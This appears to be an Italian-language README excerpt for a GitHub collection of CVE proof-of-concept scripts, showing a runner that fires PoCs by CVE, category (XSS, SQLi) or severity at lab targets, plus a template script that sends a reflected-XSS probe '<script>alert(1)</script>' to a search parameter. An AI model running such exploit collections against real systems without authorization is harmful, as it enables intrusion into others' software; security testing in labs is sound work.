git clone https://github.com/javokhir-sec/CVE-PoC-Hub.git
cd CVE-PoC-Hub

# Elenca tutti i PoC disponibili
python poc-runner.py --list

# Esegui un PoC specifico (in ambiente di laboratorio)
python poc-runner.py --cve CVE-2026-XXXXX --target http://lab-target.local

#!/usr/bin/env python3
"""
CVE-YYYY-XXXXX: [Tipo di vulnerabilità] in [Prodotto]
CVSS: X.X | Gravità: Critica/Alta/Media/Bassa
Autore: @javokhir-sec
"""

import requests
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"

def exploit(target):
    """Esegue l'exploit e restituisce True se vulnerabile."""
    print(f"[*] Test di {target} per CVE-YYYY-XXXXX")

    # Passaggio 1: invia richiesta dannosa
    payload = "<script>alert(1)</script>"
    r = requests.get(f"{target}/search?q={payload}")

    # Passaggio 2: verifica lo sfruttamento
    if payload in r.text:
        print(f"[+] VULNERABILE! Payload riflesso nella risposta.")
        return True
    else:
        print(f"[-] Non vulnerabile.")
        return False

if __name__ == "__main__":
    exploit(TARGET)

# Esegui tutti i PoC XSS contro un target
python poc-runner.py --category xss --target http://lab.local

# Esegui tutti i PoC SQLi
python poc-runner.py --category sqli --target http://lab.local

# Esegui un livello di gravità specifico
python poc-runner.py --severity critical --target http://lab.local